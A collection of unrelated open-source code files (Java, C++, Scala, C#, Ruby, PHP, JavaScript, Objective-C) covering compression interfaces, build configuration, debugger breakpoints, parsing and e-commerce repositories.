		messages::RGBColour * aColour = aMapLimit->mutable_colour();
		aColour->set_r(aLandmark.getColour().getRed());
		aColour->set_g(aLandmark.getColour().getGreen());
		aColour->set_b(aLandmark.getColour().getBlue());
	}

	if (m_game->getWinner())
	{
		aGameState.set_winner(*m_game->getWinner());
	}

	RawMessage aMessage("all_clients", "GameState", aGameState.SerializeAsString());
	m_publisher->send(aMessage);
}

}
}


text:
package com.indeed.util.compress;

import java.io.IOException;

/**
 * Specification of a stream-based 'de-compressor' which can be plugged into a {@link
 * CompressionInputStream} to compress data. This is modelled after {@link java.util.zip.Inflater}
 */
public interface Decompressor {
    /**
     * Sets input data for decompression. This should be called if and only if {@link #needsInput()}
     * returns true indicating that more input data is required. (Both native and
     * non-native versions of various Decompressors require that the data passed in via b[]
     *  remain unmodified until the caller is explicitly notified--via {@link
     * #needsInput()}--that the buffer may be safely modified. With this requirement, an extra
     * buffer-copy can be avoided.)
     *
     * @param b Input data
     * @param off Start offset
     * @param len Length
     */
    public void setInput(byte[] b, int off, int len);

    /**
     * Returns true if the input data buffer is empty and {@link #setInput(byte[], int,
     * int)} should be called to provide more input.
     *
     * @return true if the input data buffer is empty and {@link #setInput(byte[], int,
     *     int)} should be called in order to provide more input.
     */
    public boolean needsInput();

    /**
     * Sets preset dictionary for compression. A preset dictionary is used when the history buffer
     * can be predetermined.
     *
     * @param b Dictionary data bytes
     * @param off Start offset
     * @param len Length
     */
    public void setDictionary(byte[] b, int off, int len);

    /**
     * Returns true if a preset dictionary is needed for decompression.
     *
     * @return true if a preset dictionary is needed for decompression
     */
    public boolean needsDictionary();

    /**
     * Returns true if the end of the decompressed data output stream has been reached.
     * Indicates a concatenated data stream when finished() returns true and {@link
     * #getRemaining()} returns a positive value. finished() will be reset with the {@link #reset()}
     * method.
     *
     * @return true if the end of the decompressed data output stream has been reached.
     */
    public boolean finished();

    /**
     * Fills specified buffer with uncompressed data. Returns actual number of bytes of uncompressed
     * data. A return value of 0 indicates that {@link #needsInput()} should be called in order to
     * determine if more input data is required.
     *
     * @param b Buffer for the compressed data
     * @param off Start offset of the data
     * @param len Size of the buffer
     * @return The actual number of bytes of compressed data.
     * @throws IOException
     */
    public int decompress(byte[] b, int off, int len) throws IOException;

    /**
     * Returns the number of bytes remaining in the compressed data buffer. Indicates a concatenated
     * data stream if {@link #finished()} returns true and getRemaining() returns a
     * positive value. If {@link #finished()} returns true and getRemaining() returns a
     * zero value, indicates that the end of data stream has been reached and is not a concatenated
     * data stream.
     *
     * @return The number of bytes remaining in the compressed data buffer.
     */
    public int getRemaining();

    /**
     * Resets decompressor and input and output buffers so that a new set of input data can be
     * processed. If {@link #finished()}} returns true and {@link #getRemaining()}
     * returns a positive value, reset() is called before processing of the next data stream in the
     * concatenated data stream. {@link #finished()} will be reset and will return false
     *  when reset() is called.
     */
    public void reset();

    /**
     * Closes the decompressor and discards any unprocessed input.
     *
     *
IMPORTANT: Some compressors allocate off-heap memory that will not be freed unless and
     * until this method is called.
     */
    public void end();
}


text:
<!doctype html>

    <meta charset=utf-8>
    <title>Encrypted Media Extensions: Verify MediaKeySession.keyStatuses with multiple sessions, Clear Key</title>
    <link rel="help" href="https://w3c.github.io/encrypted-media/">


text:
// parser.h

int ParseExpression(char*& lp, aint& val);
int ParseExpressionNoSyntaxError(char*& lp, aint& val);

// returns 0 on syntax error, 1 on expression which is not enclosed in parentheses
// 2 when whole expression is in [] or () (--syntax=b/B affects when "2" is reported)
int ParseExpressionMemAccess(char*& p, aint& nval);

void ParseAlignArguments(char* & src, aint & alignment, aint & fill);
int ParseDirective(bool beginningOfLine = 0);
int ParseDirective_REPT();
void ParseInstruction();
char* ReplaceDefine(char* lp);
void SetLastParsedLabel(const char* label);
int PrepareLine();		// initial part of ParseLine, before the actual content parsing logic starts

/**
 * @brief Reads and prepares for parsing new lines until non-blank char is encountered (producing
 * listing file along).
 *
 * WARNING - this is pushing slightly beyond the original architecture of SjASMPlus, affecting
 * global state like `lp, line, ...`, so it's *NOT* possible to "roll-back" from this step, this
 * is one-way ticket in terms of lines parsing.
 *
 * @param p parsing pointer (will be adjusted for new line read)
 * @return bool false when no more lines available, true when non-blank char is ready
 */
bool PrepareNonBlankMultiLine(char*& p);

void ParseLine(bool parselabels = true);
void ParseLineSafe(bool parselabels = true);
void ParseStructLine(CStructure* st);

template <int argsN> bool getIntArguments(char*& lp, aint (&args)[argsN], const bool (&argOptional)[argsN]) {
	for (int i = 0; i < argsN; ++i) {
		if (0 < i && !comma(lp)) return argOptional[i];
		aint val;				// temporary variable to preserve original value in case of error
		if (!ParseExpression(lp, val)) return (0 == i) && argOptional[i];
		args[i] = val;
	}
	return !comma(lp);
}

//eof parser.h


text:
package com.github.radium226.mowitnow

/**
  * It models an orientation
  */
sealed trait Orientation {

  /**
    * The opposite of the current orientation
    */
  val opposite: Orientation

  /**
    * The orientation on the right of the current orientation
    */
  val right: Orientation

  /**
    * The orientation on the left of the current orientation
    * @return The orientation on the left
    */
  def left(): Orientation = opposite.right

}

object Orientation {

  /**
    * The North orientation
    */
  case class North() extends Orientation {

    lazy val opposite = South()

    lazy val right = East()
  }

  /**
    * The South orientation
    */
  case class South() extends Orientation {

    lazy val opposite = North()

    lazy val right = West()

  }

  /**
    * The East orientation
    */
  case class East() extends Orientation {

    lazy val opposite = West()

    lazy val right = South()
  }

  /**
    * The West orientation
    */
  case class West() extends Orientation {

    lazy val opposite = East()

    lazy val right = North()

  }

}


text:
// Copyright 2014 The Bazel Authors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.devtools.build.lib.skyframe;

import com.google.common.base.Supplier;
import com.google.common.cache.Cache;
import com.google.common.cache.CacheBuilder;
import com.google.common.collect.ImmutableSet;
import com.google.devtools.build.lib.analysis.config.BuildConfiguration;
import com.google.devtools.build.lib.analysis.config.BuildConfigurationCollection;
import com.google.devtools.build.lib.analysis.config.BuildOptions;
import com.google.devtools.build.lib.analysis.config.ConfigurationFactory;
import com.google.devtools.build.lib.analysis.config.HostTransition;
import com.google.devtools.build.lib.analysis.config.InvalidConfigurationException;
import com.google.devtools.build.lib.analysis.config.PackageProviderForConfigurations;
import com.google.devtools.build.lib.events.EventHandler;
import com.google.devtools.build.lib.events.StoredEventHandler;
import com.google.devtools.build.lib.packages.Attribute;
import com.google.devtools.build.lib.packages.RuleClassProvider;
import com.google.devtools.build.lib.skyframe.ConfigurationCollectionValue.ConfigurationCollectionKey;
import com.google.devtools.build.skyframe.SkyFunction;
import com.google.devtools.build.skyframe.SkyFunctionException;
import com.google.devtools.build.skyframe.SkyKey;
import com.google.devtools.build.skyframe.SkyValue;

import java.util.ArrayList;
import java.util.List;

import javax.annotation.Nullable;

/**
 * A builder for {@link ConfigurationCollectionValue} instances.
 */
public class ConfigurationCollectionFunction implements SkyFunction {

  private final Supplier<ConfigurationFactory> configurationFactory;
  private final RuleClassProvider ruleClassProvider;

  public ConfigurationCollectionFunction(Supplier<ConfigurationFactory> configurationFactory,
      RuleClassProvider ruleClassProvider) {
    this.configurationFactory = configurationFactory;
    this.ruleClassProvider = ruleClassProvider;
  }

  @Override
  public SkyValue compute(SkyKey skyKey, Environment env) throws InterruptedException,
      ConfigurationCollectionFunctionException {
    ConfigurationCollectionKey collectionKey = (ConfigurationCollectionKey) skyKey.argument();
    try {
      BuildConfigurationCollection result = getConfigurations(env,
          new SkyframePackageLoaderWithValueEnvironment(env, ruleClassProvider),
          collectionKey.getBuildOptions(), collectionKey.getMultiCpu());

      // BuildConfigurationCollection can be created, but dependencies to some files might be
      // missing. In that case we need to build configurationCollection again.
      if (env.valuesMissing()) {
        return null;
      }

      for (BuildConfiguration config : result.getTargetConfigurations()) {
        config.declareSkyframeDependencies(env);
      }
      if (env.valuesMissing()) {
        return null;
      }
      return new ConfigurationCollectionValue(result);
    } catch (InvalidConfigurationException e) {
      throw new ConfigurationCollectionFunctionException(e);
    }
  }

  /** Create the build configurations with the given options. */
  private BuildConfigurationCollection getConfigurations(Environment env,
      PackageProviderForConfigurations loadedPackageProvider, BuildOptions buildOptions,
      ImmutableSet<String> multiCpu)
          throws InvalidConfigurationException {
    // We cache all the related configurations for this target configuration in a cache that is
    // dropped at the end of this method call. We instead rely on the cache for entire collections
    // for caching the target and related configurations, and on a dedicated host configuration
    // cache for the host configuration.
    Cache<String, BuildConfiguration> cache =
        CacheBuilder.newBuilder().<String, BuildConfiguration>build();
    List<BuildConfiguration> targetConfigurations = new ArrayList<>();

    if (!multiCpu.isEmpty()) {
      for (String cpu : multiCpu) {
        BuildConfiguration targetConfiguration = createConfiguration(
         cache, env.getListener(), loadedPackageProvider, buildOptions, cpu);
        if (targetConfiguration == null || targetConfigurations.contains(targetConfiguration)) {
          continue;
        }
        targetConfigurations.add(targetConfiguration);
      }
      if (loadedPackageProvider.valuesMissing()) {
        return null;
      }
    } else {
      BuildConfiguration targetConfiguration = createConfiguration(
         cache, env.getListener(), loadedPackageProvider, buildOptions, null);
      if (targetConfiguration == null) {
        return null;
      }
      targetConfigurations.add(targetConfiguration);
    }
    BuildConfiguration hostConfiguration = getHostConfiguration(env, targetConfigurations.get(0));
    if (hostConfiguration == null) {
      return null;
    }

    return new BuildConfigurationCollection(targetConfigurations, hostConfiguration);
  }

  /**
   * Returns the host configuration, or null on missing Skyframe deps.
   */
  private BuildConfiguration getHostConfiguration(Environment env,
      BuildConfiguration targetConfiguration) throws InvalidConfigurationException {
    if (targetConfiguration.useDynamicConfigurations()) {
      BuildOptions hostOptions = HostTransition.INSTANCE.apply(targetConfiguration.getOptions());
      SkyKey hostConfigKey =
          BuildConfigurationValue.key(targetConfiguration.fragmentClasses(), hostOptions);
      BuildConfigurationValue skyValHost = (BuildConfigurationValue)
          env.getValueOrThrow(hostConfigKey, InvalidConfigurationException.class);

      // Also preload the target configuration so the configured target functions for
      // top-level targets don't have to waste cycles from a missing Skyframe dep.
      BuildOptions targetOptions = targetConfiguration.getOptions();
      SkyKey targetConfigKey =
          BuildConfigurationValue.key(targetConfiguration.fragmentClasses(), targetOptions);
      BuildConfigurationValue skyValTarget = (BuildConfigurationValue)
          env.getValueOrThrow(targetConfigKey, InvalidConfigurationException.class);

      if (skyValHost == null || skyValTarget == null) {
        return null;
      }
      return skyValHost.getConfiguration();
    } else {
      return targetConfiguration.getConfiguration(Attribute.ConfigurationTransition.HOST);
    }
  }

  @Nullable
  private BuildConfiguration createConfiguration(
      Cache<String, BuildConfiguration> cache,
      EventHandler originalEventListener,
      PackageProviderForConfigurations loadedPackageProvider,
      BuildOptions buildOptions, String cpuOverride) throws InvalidConfigurationException {
    StoredEventHandler errorEventListener = new StoredEventHandler();
    if (cpuOverride != null) {
      // TODO(bazel-team): Options classes should be immutable. This is a bit of a hack.
      buildOptions = buildOptions.clone();
      buildOptions.get(BuildConfiguration.Options.class).cpu = cpuOverride;
    }

    BuildConfiguration targetConfig = configurationFactory.get().createConfigurations(
        cache, loadedPackageProvider, buildOptions, errorEventListener);
    if (targetConfig == null) {
      return null;
    }
    errorEventListener.replayOn(originalEventListener);
    if (errorEventListener.hasErrors()) {
      throw new InvalidConfigurationException("Build options are invalid");
    }
    return targetConfig;
  }

  @Override
  public String extractTag(SkyKey skyKey) {
    return null;
  }

  /**
   * Used to declare all the exception types that can be wrapped in the exception thrown by
   * {@link ConfigurationCollectionFunction#compute}.
   */
  private static final class ConfigurationCollectionFunctionException extends
      SkyFunctionException {
    public ConfigurationCollectionFunctionException(InvalidConfigurationException e) {
      super(e, Transience.PERSISTENT);
    }
  }
}


text:
class Flow::Error < StandardError
  attr_reader :cause, :locations
  # Support honeybadger until they merge my PR
  alias original_exception cause

  def initialize(location, error=$!)
    @cause     = error
    @locations = [location]
  end

  def backtrace
    formatted_locations + cause.backtrace
  end

  def message
    cause.message
  end

  def formatted_locations
    locations.map {|it| "(flow: #{it})" }
  end
end


text:
(function (controllers, undefined) {

    /**
     * @ngdoc controller
     * @name Merchello.Dashboards.Settings.Shipping.Dialogs.ShippingMethodController
     * @function
     *
     * @description
     * The controller for the adding / editing shipping methods on the Shipping page
     */
    controllers.PurchaseOrderGatewayProviderController = function ($scope) {

        /**
        * @ngdoc method
        * @name init
        * @function
        *
        * @description
        * Method called on intial page load.  Loads in data from server and sets up scope.
        */
        $scope.init = function () {

            //$scope.dialogData.provider.extendedData

            // on initial load extendedData will be empty but we need to populate with key values
            //
            if ($scope.dialogData.provider.extendedData.length > 0) {
                var settingsString = $scope.dialogData.provider.extendedData[0].value;
                $scope.purchaseOrderSettings = JSON.parse(settingsString);

                // Watch with object equality to convert back to a string for the submit() call on the Save button
                $scope.$watch(function () {
                    return $scope.purchaseOrderSettings;
                }, function (newValue, oldValue) {
                    $scope.dialogData.provider.extendedData[0].value = angular.toJson(newValue);
                },true);
            }
        };
        $scope.init();

    };

    angular.module("umbraco").controller("Merchello.Plugin.GatewayProviders.Payments.Dialogs.PurchaseOrderGatewayProviderController", ['$scope', merchello.Controllers.PurchaseOrderGatewayProviderController]);

}(window.merchello.Controllers = window.merchello.Controllers || {}));


text:
@interface WDArrowhead : NSObject

@property (nonatomic, readonly) CGPoint attachment;
@property (nonatomic, readonly) CGPoint capAdjustment;
@property (nonatomic, readonly) CGPathRef path;
@property (nonatomic, readonly) CGRect bounds;
@property (nonatomic, readonly) float insetLength;

+ (NSDictionary *) arrowheads;

+ (WDArrowhead *) arrowheadWithPath:(CGPathRef)pathRef attachment:(CGPoint)attach;
+ (WDArrowhead *) arrowheadWithPath:(CGPathRef)pathRef attachment:(CGPoint)attach capAdjustment:(CGPoint)adjustment;
- (id) initWithPath:(CGPathRef)pathRef attachment:(CGPoint)attach capAdjustment:(CGPoint)adjustment;

- (CGRect) boundingBoxAtPosition:(CGPoint)pt scale:(float)scale angle:(float)angle useAdjustment:(BOOL)adjust;
- (void) addToMutablePath:(CGMutablePathRef)pathRef position:(CGPoint)pt scale:(float)scale angle:(float)angle useAdjustment:(BOOL)adjust;
- (void) addArrowInContext:(CGContextRef)ctx position:(CGPoint)pt scale:(float)scale angle:(float)angle useAdjustment:(BOOL)adjust;
- (float) insetLength:(BOOL)adjusted;

@end


text:
using System.Text;
using Plainion;

namespace RaynMaker.Modules.Analysis.Engine
{
    class TextEvaluator
    {
        private ExpressionEvaluator myExpressionEvaluator;

        public TextEvaluator( ExpressionEvaluator evaluator )
        {
            myExpressionEvaluator = evaluator;
        }

        public string Evaluate( string text )
        {
            var sb = new StringBuilder();

            int start = 0;
            while( -1 < start && start < text.Length )
            {
                var pos = text.IndexOf( "${", start );
                if( pos == -1 )
                {
                    sb.Append( text.Substring( start ) );
                    break;
                }

                sb.Append( text.Substring( start, pos - start ) );

                start = pos;

                pos = text.IndexOf( "}", start );
                if( pos == -1 )
                {
                    sb.Append( text.Substring( start, pos - start ) );
                    break;
                }

                var expr = text.Substring( start, pos - start + 1 );
                sb.Append( FormatValue( ProvideValue( expr ) ) );

                start = pos + 1;
            }

            return sb.ToString();
        }

        private string FormatValue( object value )
        {
            if( value == null )
            {
                return "n.a.";
            }
            else if( value is double )
            {
                return ( ( double )value ).ToString( "0.00" );
            }
            else
            {
                return value.ToString();
            }
        }

        public object ProvideValue( string expr )
        {
            Contract.Requires( expr.StartsWith( "${" ) && expr.EndsWith( "}" ), "Not an expression: " + expr );

            var path = expr.Substring( 2, expr.Length - 3 );

            return myExpressionEvaluator.Evaluate( path );
        }
    }
}


text:
package org.intellij.plugins.xsltDebugger.impl;

import com.intellij.lang.ASTNode;
import com.intellij.openapi.editor.Document;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.ui.MessageType;
import com.intellij.openapi.vfs.VfsUtil;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiDocumentManager;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import com.intellij.psi.PsiManager;
import com.intellij.psi.tree.IElementType;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.psi.xml.*;
import com.intellij.xdebugger.XDebugSession;
import com.intellij.xdebugger.XSourcePosition;
import com.intellij.xdebugger.breakpoints.XBreakpointHandler;
import com.intellij.xdebugger.breakpoints.XBreakpointProperties;
import com.intellij.xdebugger.breakpoints.XLineBreakpoint;
import org.intellij.plugins.xsltDebugger.VMPausedException;
import org.intellij.plugins.xsltDebugger.XsltBreakpointType;
import org.intellij.plugins.xsltDebugger.XsltDebuggerBundle;
import org.intellij.plugins.xsltDebugger.rt.engine.Breakpoint;
import org.intellij.plugins.xsltDebugger.rt.engine.BreakpointManager;
import org.intellij.plugins.xsltDebugger.rt.engine.DebuggerStoppedException;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;

public class XsltBreakpointHandler extends XBreakpointHandler<XLineBreakpoint<XBreakpointProperties>> {
  private final XsltDebugProcess myXsltDebugProcess;

  public XsltBreakpointHandler(XsltDebugProcess xsltDebugProcess, final Class<? extends XsltBreakpointType> typeClass) {
    super(typeClass);
    myXsltDebugProcess = xsltDebugProcess;
  }

  @Override
  public void registerBreakpoint(@NotNull XLineBreakpoint<XBreakpointProperties> breakpoint) {
    final XSourcePosition sourcePosition = breakpoint.getSourcePosition();
    if (sourcePosition == null || !sourcePosition.getFile().exists() || !sourcePosition.getFile().isValid()) {
      // ???
      return;
    }

    final VirtualFile file = sourcePosition.getFile();
    final Project project = myXsltDebugProcess.getSession().getProject();
    final String fileURL = getFileURL(file);
    final int lineNumber = getActualLineNumber(breakpoint, project);
    if (lineNumber == -1) {
      myXsltDebugProcess.getSession().setBreakpointInvalid(breakpoint, "Unsupported breakpoint position");
      return;
    }

    try {
      final BreakpointManager manager = myXsltDebugProcess.getBreakpointManager();
      Breakpoint bp;
      if ((bp = manager.getBreakpoint(fileURL, lineNumber)) != null) {
        bp.setEnabled(true);
      } else {
        manager.setBreakpoint(fileURL, lineNumber);
      }
    } catch (DebuggerStoppedException ignore) {
    } catch (VMPausedException e) {
      final XDebugSession session = myXsltDebugProcess.getSession();
      session.reportMessage(XsltDebuggerBundle.message("notification.content.target.vm.not.responding.breakpoint.can.not.be.set"), MessageType.ERROR);
      session.setBreakpointInvalid(breakpoint, "Target VM is not responding. Breakpoint can not be set");
    }
  }

  public static String getFileURL(VirtualFile file) {
    return VfsUtil.virtualToIoFile(file).toURI().toASCIIString();
  }

  @Override
  public void unregisterBreakpoint(@NotNull XLineBreakpoint<XBreakpointProperties> breakpoint, final boolean temporary) {
    final XSourcePosition sourcePosition = breakpoint.getSourcePosition();
    if (sourcePosition == null || !sourcePosition.getFile().exists() || !sourcePosition.getFile().isValid()) {
      // ???
      return;
    }

    final VirtualFile file = sourcePosition.getFile();
    final Project project = myXsltDebugProcess.getSession().getProject();
    final String fileURL = getFileURL(file);
    final int lineNumber = getActualLineNumber(breakpoint, project);

    try {
      final BreakpointManager manager = myXsltDebugProcess.getBreakpointManager();
      if (temporary) {
        final Breakpoint bp = manager.getBreakpoint(fileURL, lineNumber);
        if (bp != null) {
          bp.setEnabled(false);
        }
      } else {
        manager.removeBreakpoint(fileURL, lineNumber);
      }
    } catch (DebuggerStoppedException ignore) {
    } catch (VMPausedException e) {
      myXsltDebugProcess.getSession().reportMessage(
        XsltDebuggerBundle.message("notification.content.target.vm.not.responding.breakpoint.can.not.be.removed"), MessageType.ERROR);
    }
  }

  public static int getActualLineNumber(XLineBreakpoint breakpoint, Project project) {
    return getActualLineNumber(project, breakpoint.getSourcePosition());
  }

  public static int getActualLineNumber(Project project, @Nullable XSourcePosition position) {
    if (position == null) {
      return -1;
    }
    final PsiElement element = findContextElement(project, position);
    if (element == null) {
      return -1;
    }

    if (element instanceof XmlToken) {
      final IElementType tokenType = ((XmlToken)element).getTokenType();
      if (tokenType == XmlTokenType.XML_START_TAG_START || tokenType == XmlTokenType.XML_NAME) {
        final PsiManager psiManager = PsiManager.getInstance(project);
        final PsiDocumentManager documentManager = PsiDocumentManager.getInstance(project);
        final PsiFile psiFile = psiManager.findFile(position.getFile());
        if (psiFile == null) {
          return -1;
        }

        final Document document = documentManager.getDocument(psiFile);
        if (document == null) {
          return -1;
        }

        if (document.getLineNumber(element.getTextRange().getStartOffset()) == position.getLine()) {
          final XmlTag tag = PsiTreeUtil.getParentOfType(element, XmlTag.class, false);
          if (tag != null) {
            final ASTNode node = tag.getNode();
            assert node != null;
            // TODO: re-check if/when Xalan is supported
            final ASTNode end = XmlChildRole.START_TAG_END_FINDER.findChild(node);
            if (end != null) {
              return document.getLineNumber(end.getTextRange().getEndOffset()) + 1;
            } else {
              final ASTNode end2 = XmlChildRole.EMPTY_TAG_END_FINDER.findChild(node);
              if (end2 != null) {
                return document.getLineNumber(end2.getTextRange().getEndOffset()) + 1;
              }
            }
          }
        }
      }
    }
    return -1;
  }

  @Nullable
  public static PsiElement findContextElement(Project project, @Nullable XSourcePosition position) {
    if (position == null) {
      return null;
    }

    final PsiFile file = PsiManager.getInstance(project).findFile(position.getFile());
    if (file == null) {
      return null;
    }

    int offset = -1;
    final Document document = PsiDocumentManager.getInstance(project).getDocument(file);
    if (document != null && document.getLineCount() > position.getLine() && position.getLine() >= 0) {
      offset = document.getLineStartOffset(position.getLine());
    }
    if (offset < 0) {
      offset = position.getOffset();
    }

    PsiElement contextElement = file.findElementAt(offset);
    while (contextElement != null && !(contextElement instanceof XmlElement)) {
      contextElement = PsiTreeUtil.nextLeaf(contextElement);
    }
    return contextElement;
  }
}


text:
<?php

namespace Sylius\BackendBundle\Repository;

use Sylius\Bundle\CoreBundle\Doctrine\ORM\ProductRepository as BaseProductRepository;

/**
 * Class ProductRepository.
 */
class ProductRepository extends BaseProductRepository
{
    public function countProducts($excluded = false, $availableOn = null)
    {

        if (!$availableOn) {
            $availableOn = new \DateTime('midnight');
        }

        if ($excluded === true) {
            $this->_em->getFilters()->enable('softdeleteable');
        } else {
            $this->_em->getFilters()->disable('softdeleteable');
        }

        $queryBuilder = $this->getQueryBuilder();

        $queryBuilder
            ->select('count(product.id)')
            ->where('product.availableOn <= :available')
            ->setParameter('available', $availableOn);

        return (int) $queryBuilder
            ->getQuery()
            ->getSingleScalarResult()
            ;
    }

    /**
     * {@inheritdoc}
     */
    protected function getQueryBuilder()
    {
        return parent::getQueryBuilder();
    }
}